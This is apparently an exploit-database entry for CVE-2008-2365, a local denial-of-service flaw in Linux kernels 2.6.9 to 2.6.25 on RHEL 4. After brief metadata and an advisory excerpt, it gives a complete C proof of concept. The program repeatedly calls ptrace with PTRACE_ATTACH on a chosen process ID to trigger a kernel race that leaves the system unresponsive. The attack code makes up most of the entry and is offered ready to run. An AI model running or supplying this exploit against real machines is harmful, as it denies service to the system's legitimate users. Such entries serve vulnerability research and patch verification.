Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1)

Author: Alexei Dobryanov
type: dos
platform: linux
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date_added: 2008-06-25 
date_updated: 2016-09-06 
verified: 1 
codes: CVE-2008-2365;OSVDB-48563 
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/*
source: https://www.securityfocus.com/bid/29945/info

The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.

Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users.
*/


#include <stdlib.h>
#include <sys/ptrace.h>

int main(int argc, char *argv[])
{
	pid_t pid = atoi(argv[1]);

	while (1)
		ptrace(PTRACE_ATTACH, pid, NULL, NULL);

	return 0;
}